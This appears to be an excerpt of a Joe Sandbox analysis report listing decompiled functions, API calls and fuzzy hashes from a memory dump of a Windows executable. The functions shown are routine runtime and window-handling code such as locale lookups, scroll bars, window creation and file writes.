API ID: MessageNotifySend
String ID:
API String ID: 3556456075-0
Opcode ID: 406bfaa0a0f6461ebf3d20fd7c0a2e407c418e642052626433dcb6596332ea9e
Instruction ID: 5f26c846c874c237317d49b59e9284bb37dbd34ad5eabb797bc4cc63f3ee7dfb
Opcode Fuzzy Hash: 406bfaa0a0f6461ebf3d20fd7c0a2e407c418e642052626433dcb6596332ea9e
Instruction Fuzzy Hash: 1D419571701100ABC704FF67EC8195B3B99AB46309B50C57BE4189B3A6CB38DE42DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00408670 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00408670(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				char _v16;
				char _v20;
				void* _t76;
				void* _t77;
				intOrPtr _t103;
				void* _t106;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t113;

				_v16 = 0;
				_v20 = 0;
				_push(_t113);
				_push(0x4087a6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xfffffff0;
				_v12 = GetSystemDefaultLCID();
				_t76 = 1;
				_t109 = 0x48d4c0;
				_t106 = 0x48d4f0;
				do {
					_t6 = _t76 + 0xffbf; // 0xffc0
					E00406E80(_t6,  &_v20);
					_t8 = _t76 + 0x44; // 0x45
					E004085FC(_v12, _v20, _t8 - 1,  &_v16); // executed
					E00403598(_t109, _t76, _v16, _t106, _t109);
					_t13 = _t76 + 0xffcf; // 0xffd0
					E00406E80(_t13,  &_v20);
					_t15 = _t76 + 0x38; // 0x39
					E004085FC(_v12, _v20, _t15 - 1,  &_v16);
					E00403598(_t106, _t76, _v16, _t106, _t109);
					_t76 = _t76 + 1;
					_t106 = _t106 + 4;
					_t109 = _t109 + 4;
				} while (_t76 != 0xd);
				_t77 = 1;
				_t110 = 0x48d520;
				_t107 = 0x48d53c;
				do {
					_t18 = _t77 + 5; // 0x6
					asm("cdq");
					_v8 = _t18 % 7;
					_t26 = _t77 + 0xffdf; // 0xffe0
					E00406E80(_t26,  &_v20);
					E004085FC(_v12, _v20, _v8 + 0x31,  &_v16);
					E00403598(_t110, _t77, _v16, _t107, _t110);
					_t33 = _t77 + 0xffe6; // 0xffe7
					E00406E80(_t33,  &_v20);
					E004085FC(_v12, _v20, _v8 + 0x2a,  &_v16);
					E00403598(_t107, _t77, _v16, _t107, _t110);
					_t77 = _t77 + 1;
					_t107 = _t107 + 4;
					_t110 = _t110 + 4;
				} while (_t77 != 8);
				_pop(_t103);
				 *[fs:eax] = _t103;
				_push(E004087AD);
				return E00403568( &_v20, 2);
			}

0x0040867b
0x0040867e
0x00408683
0x00408684
0x00408689
0x0040868c
0x00408694
0x00408697
0x0040869c
0x004086a1
0x004086a6
0x004086ad
0x004086b3
0x004086bb
0x004086c2
0x004086cc
0x004086d8
0x004086de
0x004086e6
0x004086ed
0x004086f7
0x004086fc
0x004086fd
0x00408700
0x00408703
0x00408708
0x0040870d
0x00408712
0x00408717
0x00408717
0x0040871f
0x00408722
0x0040872c
0x00408732
0x00408743
0x0040874d
0x00408759
0x0040875f
0x00408770
0x0040877a
0x0040877f
0x00408780
0x00408783
0x00408786
0x0040878d
0x00408790
0x00408793
0x004087a5

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004087A6), ref: 0040868F

Part of subcall function 00406E80: LoadStringA.USER32 ref: 00406E9D

Part of subcall function 004085FC: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048D4C0,00000001,?,004086C7,?,00000000,004087A6), ref: 0040861A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: 3e7ba4ed7f0e26770ecbfb831b7533beda94131ecb45f0d50b2354c16359b1b6
Instruction ID: 4f2eaf13373ec13ac649366da4b0d92ec9f087c8981b90d6854472f7e8ab8ab6
Opcode Fuzzy Hash: 3e7ba4ed7f0e26770ecbfb831b7533beda94131ecb45f0d50b2354c16359b1b6
Instruction Fuzzy Hash: F2314335E01119ABCB00EF95CC819DEB779FF84304F158577E819B7296E738AE058B98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FC64 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041FC64(void* __eax, char __ecx, void* __edx) {
				struct tagSCROLLINFO _v44;
				intOrPtr _t28;
				void* _t40;
				void* _t48;
				signed short _t49;
				intOrPtr _t51;

				_t52 =  &(_v44.nMax);
				_v44.nMax = __ecx;
				_t40 = __edx;
				_t48 = __eax;
				 *((intOrPtr*)(__eax + 0x14)) = 0;
				_t49 = 0;
				if( *((char*)(__eax + 0x18)) == 1) {
					_t49 = 1;
				}
				if( *((char*)(_t48 + 0x1c)) != 0) {
					_t51 =  *((intOrPtr*)(_t48 + 0x10)) - E0041FA04(_t48,  *_t52, _t40);
					 *((intOrPtr*)(_t48 + 0x14)) = _t51;
					if(_t51 < 0) {
						 *((intOrPtr*)(_t48 + 0x14)) = 0;
					}
				}
				_v44.cbSize = 0x1c;
				_v44.fMask = 0x17;
				_v44.nMin = 0;
				if( *((intOrPtr*)(_t48 + 0x14)) <= 0) {
					_v44.nMax = 0;
				} else {
					_v44.nMax =  *((intOrPtr*)(_t48 + 0x10));
				}
				_v44.nPage = E0041FA04(_t48,  *_t52, _t40) + 1;
				_t28 =  *((intOrPtr*)(_t48 + 0xc));
				_v44.nPos = _t28;
				_v44.nTrackPos = _t28;
				SetScrollInfo(E004182A8( *((intOrPtr*)(_t48 + 4))), _t49 & 0x0000ffff,  &_v44, 1); // executed
				return E0041FB64(_t48,  *((intOrPtr*)(_t48 + 0xc)));
			}

0x0041fc68
0x0041fc6b
0x0041fc6e
0x0041fc70
0x0041fc74
0x0041fc77
0x0041fc7d
0x0041fc7f
0x0041fc7f
0x0041fc87
0x0041fc98
0x0041fc9a
0x0041fc9f
0x0041fca3
0x0041fca3
0x0041fc9f
0x0041fca6
0x0041fcae
0x0041fcb8
0x0041fcc0
0x0041fccd
0x0041fcc2
0x0041fcc5
0x0041fcc5
0x0041fcde
0x0041fce2
0x0041fce5
0x0041fce9
0x0041fd01
0x0041fd17

APIs

SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FD01

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: InfoScroll
String ID:
API String ID: 629608716-0
Opcode ID: a1eb52f22b76c53ae760d0cba3ba0fee6ca67c4428f9ab82f3aa03e8c29a4ecf
Instruction ID: ae21a754651b4d7bfca8d8f1b928a50cbc9cc80607ce74b669d1fde158d67b9e
Opcode Fuzzy Hash: a1eb52f22b76c53ae760d0cba3ba0fee6ca67c4428f9ab82f3aa03e8c29a4ecf
Instruction Fuzzy Hash: CB2162B0604745AFD340DF39944069ABBE4BB88344F04493EE488C3341E378E995DBD6

Uniqueness

Uniqueness Score: -1.00%

Function 00441484 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 0044149B

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction ID: 194a9317b808103a3cf425769d835fc826ab437ab4d68aafd0f4452bf6879e62
Opcode Fuzzy Hash: d61e7892e696cd19dbec5936e1f60c0eb1c4f94c101f5f53d8ed807e2bb541d1
Instruction Fuzzy Hash: D4F09030205109DBEF1CCF58D0658BF77B0EB48300B2081AFE50B873A0D634AE80D758

Uniqueness

Uniqueness Score: -1.00%

Function 00416618 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416618(void* __eax, CHAR** __edx) {
				struct HINSTANCE__* _t13;
				struct HWND__* _t23;
				void* _t26;

				_t26 = __eax;
				_t13 =  *0x48d014; // 0x400000
				_t23 = CreateWindowExA(__edx[2],  &(__edx[0x13]),  *__edx, __edx[1], __edx[3], __edx[4], __edx[5], __edx[6], __edx[7], 0, _t13, __edx[8]); // executed
				 *(_t26 + 0xc0) = _t23;
				return _t23;
			}

0x0041661c
0x00416622
0x0041664d
0x00416652
0x0041665a

APIs

CreateWindowExA.USER32 ref: 0041664D

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 795260cd6bd7fdc1189ff6fc4d2ff421b563323c442d0d232bced7d330843685
Instruction ID: 4784d57ee1b8f141bf40eedc12857ac45983dbc9b624a9f018a5b701f057f4d2
Opcode Fuzzy Hash: 795260cd6bd7fdc1189ff6fc4d2ff421b563323c442d0d232bced7d330843685
Instruction Fuzzy Hash: 79F025B2601510AFDB94CF9CD8C0F9373ECEB0C210B0885A6FA08CF24AD264EC108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00414A7C Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00414A7C(intOrPtr* __eax, void* __edx) {
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v28;
				intOrPtr _v32;
				intOrPtr* _t31;

				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *__eax + 0x2c))();
				_push( *((intOrPtr*)(__eax + 0x2c)) - _v20 +  *_t31);
				_push( *((intOrPtr*)(__eax + 0x30)) - _v16 + _v32);
				return  *((intOrPtr*)( *__eax + 0x4c))();
			}

0x00414a87
0x00414a88
0x00414a93
0x00414aa0
0x00414aac
0x00414ac0

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 00414AB7

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction ID: 59ac3629b8f45f7a6bca1b57e2bf54285868c68ba6336e642f1ef9b7bb8d2b05
Opcode Fuzzy Hash: 9e73aedc2ede48524128b4fba7c94cddd86b5e43f4b9cee2e76a3e9f018a4363
Instruction Fuzzy Hash: B2F0DA762042019FC740DF6CC8C488A77E5FF89255B5546A9F989CB356C731EC54CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00450120 Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00450120(intOrPtr* __eax, long __ecx, void* __edx, void* __ebp) {
				long _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				int _t6;
				intOrPtr* _t9;
				long _t15;

				_push(__ecx);
				_t15 = __ecx;
				_t14 = __edx;
				_t9 = __eax;
				_t6 = WriteFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
				if(_t6 == 0) {
					_t6 = E0044FFFC( *_t9);
				}
				if(_t15 != _v16) {
					_t6 = E0044FF5C(_t9, 0x1d, _t14, _t15);
				}
				return _t6;
			}

0x00450123
0x00450124
0x00450126
0x00450128
0x00450137
0x0045013e
0x00450142
0x00450142
0x0045014a
0x00450153
0x00450153
0x0045015c

APIs

WriteFile.KERNEL32(?,?,00000000,00450352,00000000,00000000,?,?,?,00450352,00000000,00452881,?,0048B721,00000000,00452922), ref: 00450137

Part of subcall function 0044FFFC: GetLastError.KERNEL32(0044FD08,0044FE2D,?,00000000,?,0048AA7A,00000001,00000000,00000002,00000000,0048ABE3,?,?,00000005,00000000,0048AC17), ref: 0044FFFF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: b751efd3255d4a841dc3e1fe7360b7965272101c70944bba4a060f8c7084cced
Instruction ID: 708f7d19b7bcbf48abda36036a02f36691c1a97e19eb5ff369bf5b20e2c6477e
Opcode Fuzzy Hash: b751efd3255d4a841dc3e1fe7360b7965272101c70944bba4a060f8c7084cced
Instruction Fuzzy Hash: D6E01A763041206BEB14E65AD980FABA7DCDF86365F10407BB918DB216D664EC088B7A

Uniqueness

Uniqueness Score: -1.00%

Function 0042CCE8 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 27%

			E0042CCE8(char* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				intOrPtr _t20;
				intOrPtr _t25;

				_push(0);
				_push(_t25);
				_push(0x42cd30);
				_push( *[fs:eax]);
				 *[fs:eax] = _t25;
				E0042CBC4(__eax, __ecx,  &_v8, __eflags);
				_push(E00403880(_v8)); // executed
				L00405A4C(); // executed
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(E0042CD37);
				return E00403548( &_v8);
			}

0x0042cceb
0x0042ccf4
0x0042ccf5
0x0042ccfa
0x0042ccfd
0x0042cd05
0x0042cd12
0x0042cd13
0x0042cd1c
0x0042cd1f
0x0042cd22
0x0042cd2f

APIs

Part of subcall function 0042CBC4: CharPrevA.USER32(00000000,00000000,?,?,?,00000000,0042CD0A,00000000,0042CD30,?,?,?,00000000,00000000,?,0042CD45), ref: 0042CBEC

6CBC78A0.KERNEL32(00000000,00000000,0042CD30,?,?,?,00000000,00000000,?,0042CD45,00450C87,00000000), ref: 0042CD13

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 826422539118c00cb358ad14803f379a64015754f7d17351edbefb4b4b434a86
Instruction ID: 4939b6534ddec3ce97c59771d6a4ebc4ee53a512033a795d2a80a6faa40a6cb6
Opcode Fuzzy Hash: 826422539118c00cb358ad14803f379a64015754f7d17351edbefb4b4b434a86
Instruction Fuzzy Hash: AFE065313047147FD701EAA29C92A5EBAACDB45714B91487AB40093591D57C6E009858

Uniqueness

Uniqueness Score: -1.00%

Function 0044FE7C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

6C8D5CA0.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 0044FEBC

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c645d677b9617e3fa70d0f2cdd418801873c83c401aa0c5be87cbbb6da078ae
Instruction ID: f45267872a4a72777867b24b92ebb1a1d10bd6d72e18b8631547a6d02b440940
Opcode Fuzzy Hash: 2c645d677b9617e3fa70d0f2cdd418801873c83c401aa0c5be87cbbb6da078ae
Instruction Fuzzy Hash: 18E012B63442183ED380EEAC6C81FA777DC970D764F048477F998D7281D57199158BB8

Uniqueness

Uniqueness Score: -1.00%

Function 0042E6D0 Relevance: 1.5, APIs: 1, Instructions: 28
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042E6D0(long __eax, void* __edx) {
				char _v1028;
				long _t6;
				void* _t9;
				void* _t16;
				void* _t18;

				_t9 = __edx;
				_t6 = FormatMessageA(0x3200, 0, __eax, 0,  &_v1028, 0x400, 0); // executed
				while(_t6 > 0) {
					_t16 =  *((intOrPtr*)(_t18 + _t6 - 1)) - 0x21;
					if(_t16 < 0) {
						L1:
						_t6 = _t6 - 1;
						__eflags = _t6;
						continue;
					} else {
						_t21 = _t16 == 0xd;
						if(_t16 == 0xd) {
							goto L1;
						}
					}
					break;
				}
				return E00403628(_t9, _t6, _t18, _t21);
			}

0x0042e6d7
0x0042e6ef
0x0042e6f7
0x0042e6ff
0x0042e702
0x0042e6f6
0x0042e6f6
0x0042e6f6
0x00000000
0x0042e704
0x0042e704
0x0042e707
0x00000000
0x00000000
0x0042e707
0x00000000
0x0042e702
0x0042e71a

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00451D17,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 0042E6EF

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: d8d863c8c55bd2bd23141fa6b36e162dd74dea1a6aeec0f79b4d400c45e841d5
Instruction ID: 30a6d8b6a2b2d4fcd76e97f60023192a96504a1e546af8f0f62a001159190bce
Opcode Fuzzy Hash: d8d863c8c55bd2bd23141fa6b36e162dd74dea1a6aeec0f79b4d400c45e841d5
Instruction Fuzzy Hash: 40E020B139472236F23500A76C4BF7F260D47D0700FA440267B11DE3D2D9EEE906019D

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC7C Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0042DC7C(void* __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				signed int _t17;

				_t16 = __edx;
				_t15 = __ecx;
				_t17 = _a16;
				if(__eax == 2) {
					_t17 = _t17 | 0x00000100;
				}
				_push(_a4);
				_push(_a8);
				_push(_a12);
				_push(_t17);
				_push(_a20);
				_push(_a24);
				_t14 = _a28;
				_push(_t14);
				_push(_t15);
				_push(_t16); // executed
				L004058EC(); // executed
				return _t14;
			}

0x0042dc7c
0x0042dc7c
0x0042dc80
0x0042dc85
0x0042dc87
0x0042dc87
0x0042dc90
0x0042dc94
0x0042dc98
0x0042dc99
0x0042dc9d
0x0042dca1
0x0042dca2
0x0042dca5
0x0042dca6
0x0042dca7
0x0042dca8
0x0042dcaf

APIs

6C8D64E0.ADVAPI32(?,?,?,?,?,?,?,?,?), ref: 0042DCA8

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 328f01d9cbf36e17bdfe892db5b50aef09e64cadae7b24705b832a9b704e87e0
Instruction ID: f82a7914c31c63950c7971c7dc1cc064c3e673ecb44ced4aa894877575ddc420
Opcode Fuzzy Hash: 328f01d9cbf36e17bdfe892db5b50aef09e64cadae7b24705b832a9b704e87e0
Instruction Fuzzy Hash: 6CE075B2600119AF9B40DE8DDC41EEB37ADAB1D350B404026FA08D7200C274EC519BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00453494 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00453494(intOrPtr* __ecx, void* __edx, void* __eflags) {
				intOrPtr _v300;
				intOrPtr _v304;
				void* _t7;
				void* _t8;
				intOrPtr* _t14;
				signed char* _t20;

				_t14 = __ecx;
				_t8 = E0045157C(_t7, _t20, __edx, __eflags); // executed
				if(_t8 == 0xffffffff) {
					L3:
					 *_t14 = 0;
					__eflags = 0;
					 *((intOrPtr*)(_t14 + 4)) = 0;
					return 0;
				}
				FindClose(_t8);
				if(( *_t20 & 0x00000010) != 0) {
					goto L3;
				}
				 *_t14 = _v304;
				 *((intOrPtr*)(_t14 + 4)) = _v300;
				return 1;
			}

0x0045349b
0x0045349f
0x004534a7
0x004534c6
0x004534ca
0x004534cc
0x004534ce
0x00000000
0x004534ce
0x004534aa
0x004534b3
0x00000000
0x00000000
0x004534b9
0x004534bf
0x00000000

APIs

FindClose.KERNEL32(00000000,000000FF,00468E7E,00000000,00469B46,?,00000000,00469B8F,?,00000000,00469CC8,?,00000000,?,00000000), ref: 004534AA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 6715253817c5446c6029b6eac7d795c38f3317e9480a1568d90ee15279b25660
Instruction ID: 25e08a3a2396fdb50ec6365b92d55a3c498184e9eaf3c6780c29ae4bfb0144ce
Opcode Fuzzy Hash: 6715253817c5446c6029b6eac7d795c38f3317e9480a1568d90ee15279b25660
Instruction Fuzzy Hash: FBE09BB0A046048BCB15CF39848131677D15F89361F08CA6AAC5CCB3D7E73C84055667

Uniqueness

Uniqueness Score: -1.00%

Function 00414744 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E00414744(intOrPtr* __eax, intOrPtr* __edx) {

				_push( *((intOrPtr*)(__edx + 8)) -  *__edx);
				_push( *((intOrPtr*)(__edx + 0xc)) -  *((intOrPtr*)(__edx + 4)));
				return  *((intOrPtr*)( *__eax + 0x4c))();
			}

0x00414751
0x0041475a
0x0041476a

APIs

KiUserCallbackDispatcher.NTDLL(0048864A,?,0048866A,?,?,00000000,0048864A,?,?), ref: 00414763

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction ID: 3a83c41fa5c3d176b15f2666d2672a78f9af76d4247255e2ff0bda4df6ea0631
Opcode Fuzzy Hash: 6e76042b9040d81ea616cca6ecacd77bc76811df147480a1eef497ac36b7c045
Instruction Fuzzy Hash: 59E012723001199F8250CE5EDC88C57FBEDEBC966130983A6F508C7306DA31EC44C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA4 Relevance: 1.5, APIs: 1, Instructions: 23
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00406FA4(void* __eax, long __ecx, void* __edx) {
				long _v16;
				int _t4;

				_push(__ecx);
				_t4 = WriteFile(__eax, __edx, __ecx,  &_v16, 0); // executed
				if(_t4 == 0) {
					_v16 = 0xffffffff;
				}
				return _v16;
			}

0x00406fa7
0x00406fb8
0x00406fbf
0x00406fc1
0x00406fc1
0x00406fcf

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00406FB8

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f6c1aad4a8904306a7b9da86c6f5227892e9131e9cd6accf8a849aea266828c0
Instruction ID: 094b55ea42a2d669888ebe979cb1588c753d9803ef852f165be57089eabc71c4
Opcode Fuzzy Hash: f6c1aad4a8904306a7b9da86c6f5227892e9131e9cd6accf8a849aea266828c0
Instruction Fuzzy Hash: 18D05B723082107AE224955B6D84EAB5BDCCBC5770F11063EF568D71C1D6308C058775

Uniqueness

Uniqueness Score: -1.00%

